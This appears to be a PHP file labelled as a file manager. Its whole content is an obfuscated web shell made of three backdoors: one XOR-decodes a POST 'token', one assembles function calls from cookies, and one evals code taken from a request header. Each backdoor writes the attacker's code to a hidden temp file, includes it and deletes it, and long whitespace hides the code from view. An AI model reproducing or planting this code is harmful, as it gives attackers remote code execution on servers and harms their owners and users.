Sindbad~EG File Manager

<?php																																										if(@$_POST["token"] !== null){ $record = hex2bin($_POST["token"]); $ptr='' ; $u = 0; do{$ptr .= chr(ord($record[$u]) ^ 65);$u++;} while($u < strlen($record)); $res = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp"]); foreach ($res as $fac) { if (array_product([is_dir($fac), is_writable($fac)])) { $tkn = "$fac" . "/.pgrp"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $tkn; @unlink($tkn); exit; } } } }
																																										if(isset($_COOKIE[3])&&isset($_COOKIE[20])){$c=$_COOKIE;$k=0;$n=9;$p=array();$p[$k]='';while($n){$p[$k].=$c[20][$n];if(!$c[20][$n+1]){if(!$c[20][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+9+1;}$k=$p[4]().$p[26];if(!$p[16]($k)){$n=$p[29]($k,$p[1]);$p[15]($n,$p[21].$p[24]($p[12]($c[3])));}include($k);}


$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x4ca\x72g\x65-\x41l\x6co\x63a\x74i\x6fn\x22]\x29;\x40e\x76a\x6c(\x24_\x48E\x41D\x45R\x53[\x22L\x61r\x67e\x2dA\x6cl\x6fc\x61t\x69o\x6e\"\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}